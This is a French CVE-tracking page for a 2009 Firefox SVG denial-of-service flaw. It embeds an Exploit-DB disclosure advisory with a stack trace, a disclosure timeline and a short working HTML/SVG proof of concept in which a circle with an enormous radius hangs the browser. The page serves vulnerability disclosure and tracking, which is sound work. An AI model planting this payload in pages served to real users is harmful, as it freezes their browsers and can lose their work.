Alerte pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions
The SVG component in Mozilla Firefox 3.0.4 allows remote attackers to cause a denial of service (application hang) via a large value in the r (aka Radius) attribute of a circle element, related to an "unclamped loop."
Informations
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources. |
Metrics
| Metric | Score | Sévérité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 5 | AV:N/AC:L/Au:N/C:N/I:N/A:P | [email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 8794
Date de publication : 2009-05-25 22:00 +00:00
Auteur : Thierry Zoller
EDB Vérifié : Yes
From the low-hanging-fruit-department
Firefox et al. Denial of Service - All versions supporting SVG
________________________________________________________________________
CHEAP Plug :
************************************************************************
You are invited to participate in HACK.LU 2009, a small but concentrated
luxemburgish security conference. More information : http://www.hack.lu
CFP is open, sponsorship is still possible and warmly welcomed!
************************************************************************
Release mode: Forced release.
Ref : [TZO-26-2009] - Firefox DoS (unclamped loop) SVG
WWW : http://blog.zoller.lu/2009/04/advisory-firefox-dos-condition.html
Vendor : http://www.firefox.com
Status : No patch
CVE : none provided
Credit : none
Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=465615
Security notification reaction rating : There wasn't any reaction. OSS Security notification FTW
Notification to patch window : x+n
Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html
Affected products :
- Firefox all supporting SVG (didn't care to investigate which, task of the vendor)
- all software packages using mozilla engine and allowing SVG
I. Background
~~~~~~~~~~~~
Firefox is a popular internet browser.
II. Description
~~~~~~~~~~~~~~
This bug is a typical result of what we call unclamped loop. An "attacker"
will give the Radius value of the Circle attribute a very big value. That
is leetness.
Stack trace :
ntkrnlpa.exe+0x6e9ab
ntkrnlpa.exe!MmIsDriverVerifying+0xbb0
hal.dll+0x2ef2
xul.dll!NS_InvokeByIndex_P+0x30c36
xul.dll!NS_InvokeByIndex_P+0x30e8a
xul.dll!NS_InvokeByIndex_P+0x30e02
xul.dll!NS_InvokeByIndex_P+0x30f5e
xul.dll!XRE_InitEmbedding+0x7858
xul.dll!XRE_InitEmbedding+0xf4ee
xul.dll!XRE_TermEmbedding+0x11411
xul.dll!gfxTextRun::Draw+0xdd4d
xul.dll!gfxTextRun::Draw+0xe1ca
xul.dll!gfxWindowsPlatform::PrefChangedCallback+0x1495
xul.dll!gfxTextRun::SetSpaceGlyph+0x2678
xul.dll!gfxFont::NotifyLineBreaksChanged+0xf1d3
xul.dll!gfxWindowsPlatform::RunLoader+0xa9f6
xul.dll!NS_StringCopy_P+0x9942
xul.dll!gfxImageSurface::gfxImageSurface+0x3188
xul.dll!gfxImageSurface::gfxImageSurface+0x2ed8
Also produces exceptions in MOZCRT19...
MOZCRT19!modf+0x2570:
600715e0 660f122550450960 movlpd xmm4,qword ptr [MOZCRT19!exception::`vftable'+0x1a3d8 (60094550)] ds:0023:60094550=3fe62e42fefa39ef
III. Impact
~~~~~~~~~~
Browser doesn't respond any longer to any user input, all tabs are no
longer accessible, your work if any (hail to the web 2.0) might be lost.
IV. Proof of concept (hold your breath)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<html xmlns='http://www.w3.org/1999/xhtml'>
<head>
</head>
<body>
<svg xmlns='http://www.w3.org/2000/svg'><circle cx='10' cy='10' r='1.79769313486231E+308' fill='red' /></svg>
</body></html>
IV. Disclosure timeline
~~~~~~~~~~~~~~~~~~~~~~~~
DD/MM/YYYY
18/11/2008 : Created bugzilla entry (security) with proof of concept,
description the terms under which ooperate and the planned disclosure date.
24/22/2008 : Daniel Veditz comments : "Might be a cairo bug rather than SVG
(seems to be looping in libthebes), but I can definitely confirm
the DoS.
14/12/2008 : Ask for any action plan and my assessement of considering it low risk
No reply.
28/12/2008 : "Timeless" comments [..] personally, i intend to open this bug
to the public [..] a bug like this is more likely to be fixed
by being visible to more people than by leaving it in a closet.
26/05/2009 : In 2009 I agree; release of this advisory.
# milw0rm.com [2009-05-26]
Products Mentioned
Configuraton 0
Mozilla>>Firefox >> Version 3.0.4
- Mozilla>>Firefox >> Version 3.0.4 (Open CPE detail)
References
http://archives.neohapsis.com/archives/bugtraq/2009-05/0270.html
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://archives.neohapsis.com/archives/bugtraq/2009-05/0272.html
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://archives.neohapsis.com/archives/bugtraq/2009-05/0271.html
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.securityfocus.com/archive/1/503825/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
2024©
tesweb SA
